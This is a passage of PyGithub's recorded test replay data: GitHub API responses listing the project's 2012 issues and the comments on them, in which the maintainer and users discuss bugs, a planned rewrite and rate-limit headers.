https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":17,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"Document issue reporting","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"}],"created_at":"2012-03-13T12:09:48Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3628022,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/17"},{"updated_at":"2012-03-13T07:04:42Z","body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/16","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_issues":2,"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":16,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"Add copyright and license notice","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"}],"created_at":"2012-03-13T06:25:31Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3624595,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/16"},{"updated_at":"2012-03-13T06:23:35Z","body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/14","comments":0,"milestone":null,"number":14,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"Rework BaseUrl to use tuples instead of string concatenation","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Refactoring","name":"Refactoring","color":"0b02e1"}],"created_at":"2012-03-13T06:23:35Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3624570,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/14"},{"updated_at":"2012-03-13T06:22:27Z","body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/13","comments":0,"milestone":null,"number":13,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"Remove the _repo hugly hack","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Refactoring","name":"Refactoring","color":"0b02e1"}],"created_at":"2012-03-13T06:22:27Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3624561,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/13"},{"updated_at":"2012-03-13T06:21:57Z","body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/12","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_issues":2,"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":12,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"Structure some InternalSimpleAttributes","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-03-13T06:21:57Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3624556,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/12"},{"updated_at":"2012-03-12T21:58:05Z","body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/9","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_issues":2,"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":9,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"Publish version 1.0","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"}],"created_at":"2012-03-12T21:58:05Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3619973,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/9"},{"updated_at":"2012-03-08T12:23:29Z","body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_issues":2,"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":4,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"Review public interface homogeneity ","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-03-06T16:48:40Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3527266,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/4"},{"updated_at":"2012-05-19T06:42:43Z","body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3","comments":0,"milestone":null,"number":3,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"Deduce mandatory parameters","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"}],"created_at":"2012-03-06T16:47:49Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3527245,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/3"},{"updated_at":"2012-03-08T12:23:29Z","body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/2","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_issues":2,"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":2,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"Use objects as parameters instead of shas, ids, etc.","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-03-06T16:46:49Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3527231,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/2"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetIssuesComments.txt0000644000175100001660000102315414756101563025424 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/issues/comments {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('x-ratelimit-limit', '5000'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '42659'), ('server', 'nginx'), ('last-modified', 'Fri, 21 Dec 2012 22:43:37 GMT'), ('connection', 'keep-alive'), ('etag', '"e9ac24ceac76d4d31cf648484a47b665"'), ('link', '; rel="next", ; rel="last"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Tue, 25 Dec 2012 11:53:42 GMT'), ('x-github-media-type', 'github.beta; format=json'), ('content-type', 'application/json; charset=utf-8')] [{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4141750","body":"Thank you for reporting this. I'll publish a fix as soon as possible (tonight or tomorrow)","updated_at":"2012-04-17T05:50:25Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5168757","created_at":"2012-04-17T05:50:25Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5168757},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4141750","body":"Fixed in version 0.6. Please `easy_install --upgrade pygithub`","updated_at":"2012-04-17T17:59:18Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5181640","created_at":"2012-04-17T17:59:18Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5181640},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4141750","body":"yes fixed thanks","updated_at":"2012-04-17T18:58:05Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5183010","created_at":"2012-04-17T18:58:05Z","user":{"type":"User","events_url":"https://api.github.com/users/tallforasmurf/events{/privacy}","received_events_url":"https://api.github.com/users/tallforasmurf/received_events","gists_url":"https://api.github.com/users/tallforasmurf/gists{/gist_id}","followers_url":"https://api.github.com/users/tallforasmurf/followers","following_url":"https://api.github.com/users/tallforasmurf/following","organizations_url":"https://api.github.com/users/tallforasmurf/orgs","url":"https://api.github.com/users/tallforasmurf","gravatar_id":"bff435ae5fc2e73d7c7c8351231e8040","starred_url":"https://api.github.com/users/tallforasmurf/starred{/owner}{/repo}","login":"tallforasmurf","avatar_url":"https://secure.gravatar.com/avatar/bff435ae5fc2e73d7c7c8351231e8040?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/tallforasmurf/repos","subscriptions_url":"https://api.github.com/users/tallforasmurf/subscriptions","id":1137018},"id":5183010},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4159230","body":"`UnknownGithubObject` is the exception I throw when you request an object that doesn't exist. Here, there is no download with `id` `1` or `\"foobar\"` in your repo.\r\n\r\nThe `TypeError` you get when calling `repo.get_download()`is because `get_download` requires an argument as stated in the [reference of classes](https://github.com/PyGithub/PyGithub/blob/master/ReferenceOfClasses.md) (See \"Downloads\" in \"class Repository\").\r\n\r\nSo, what argument should you pass to `get_downloads`? Well, the documentation says `id`, so you can first call `get_downloads` which returns a list of `Download`s, and look what is `Download.id`.\r\n\r\nThe fact is that I have no repository to test this with downloads, but here is an example with issues (`g` is a `Github` instance):\r\n\r\n >>> g.get_user().get_repo( \"PyGithub\" ).get_issues()[0].number\r\n 23\r\n >>> g.get_user().get_repo( \"PyGithub\" ).get_issue( 23 )\r\n \r\n\r\n(I took the `number` attribute of the first `Issue`, because the reference says that `get_issue` takes a `number`.)\r\n\r\nI hope it helps.","updated_at":"2012-04-17T21:10:15Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5186061","created_at":"2012-04-17T21:10:15Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5186061},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4159230","body":"I hope this report will be useful, however, I am not going to be using this package after all. I discovered (what should have been obvious) that I can get everything I need from github just using urllib and reading the page.\r\n\r\n import urllib2\r\n try:\r\n u = urllib2.urlopen( 'https://github.com//', timeout=5 )\r\n except:\r\n #cannot contact github - try later\r\n #exit\r\n s = u.read()\r\n u.close()\r\n\r\nIt's all there, file names, SHA, last commit date, and if I want to read file data, no need to decode a blob, it's at ```https://raw.github.com///master/```\r\n","updated_at":"2012-04-19T16:40:02Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5226090","created_at":"2012-04-19T16:40:02Z","user":{"type":"User","events_url":"https://api.github.com/users/tallforasmurf/events{/privacy}","received_events_url":"https://api.github.com/users/tallforasmurf/received_events","gists_url":"https://api.github.com/users/tallforasmurf/gists{/gist_id}","followers_url":"https://api.github.com/users/tallforasmurf/followers","following_url":"https://api.github.com/users/tallforasmurf/following","organizations_url":"https://api.github.com/users/tallforasmurf/orgs","url":"https://api.github.com/users/tallforasmurf","gravatar_id":"bff435ae5fc2e73d7c7c8351231e8040","starred_url":"https://api.github.com/users/tallforasmurf/starred{/owner}{/repo}","login":"tallforasmurf","avatar_url":"https://secure.gravatar.com/avatar/bff435ae5fc2e73d7c7c8351231e8040?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/tallforasmurf/repos","subscriptions_url":"https://api.github.com/users/tallforasmurf/subscriptions","id":1137018},"id":5226090},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4356743","body":"Thank you for the suggestion. It's somehow related to https://github.com/PyGithub/PyGithub/issues/6, even if I have not described it in details.\r\n\r\nI'm currently doing a very deep rewrite, which will lead to much more readable stack traces in case of exceptions, and I will include more details about the error. I may also be able to detect type errors *before* sending the request to github.\r\n\r\nBy the way, I'm very glad to hear that you have solved a real-life use case using PyGithub :-)","updated_at":"2012-05-01T22:03:59Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5449237","created_at":"2012-05-01T22:03:59Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5449237},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4356743","body":"Good to hear you are already working on this in #6, so I suppose this can be tagged as duplicate and be closed.\r\n\r\nBTW, I cleaned up my script to convert Trac tickets to Github issues and uploaded it to PyPI: http://pypi.python.org/pypi/tratihubis/. It seems that at least some people find it useful, so hopefully it helps to popularize PyGithub a little.","updated_at":"2012-05-04T19:23:57Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5518272","created_at":"2012-05-04T19:23:57Z","user":{"type":"User","events_url":"https://api.github.com/users/roskakori/events{/privacy}","received_events_url":"https://api.github.com/users/roskakori/received_events","gists_url":"https://api.github.com/users/roskakori/gists{/gist_id}","followers_url":"https://api.github.com/users/roskakori/followers","following_url":"https://api.github.com/users/roskakori/following","organizations_url":"https://api.github.com/users/roskakori/orgs","url":"https://api.github.com/users/roskakori","gravatar_id":"b58d0f1ea06b8d5de5f02c53f747ac03","starred_url":"https://api.github.com/users/roskakori/starred{/owner}{/repo}","login":"roskakori","avatar_url":"https://secure.gravatar.com/avatar/b58d0f1ea06b8d5de5f02c53f747ac03?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/roskakori/repos","subscriptions_url":"https://api.github.com/users/roskakori/subscriptions","id":328726},"id":5518272},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3617711","body":"This was reported by user in #24. I close this one because the other one has more information.","updated_at":"2012-05-07T10:45:58Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5547576","created_at":"2012-05-07T10:45:58Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5547576},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4622816","body":"Thank you for your feedback.\n\nI have indeed not yet implemented this feature because I have no real use of it: each API call is more than half a second long, so it's hard to reach the rate limit.\n\nAnyway, it is easy to extract the rate limiting headers, so I will add an attribute to the Github class to give access to their last value.\n\nExpect it in version 1.0. I will set an expected date on the milestone during the week-end.\n","updated_at":"2012-05-18T05:27:40Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5780183","created_at":"2012-05-18T05:27:40Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":5780183},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4622816","body":"Ah good point about it being hard to reach. Thanks for implementing it. No hurry, though, it's not that important. :-)","updated_at":"2012-05-18T08:34:04Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5781803","created_at":"2012-05-18T08:34:04Z","user":{"type":"User","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/bilderbuchi/repos","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","id":327442},"id":5781803},{"issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/4622816","body":"Implemented in ca97469. Will be in version 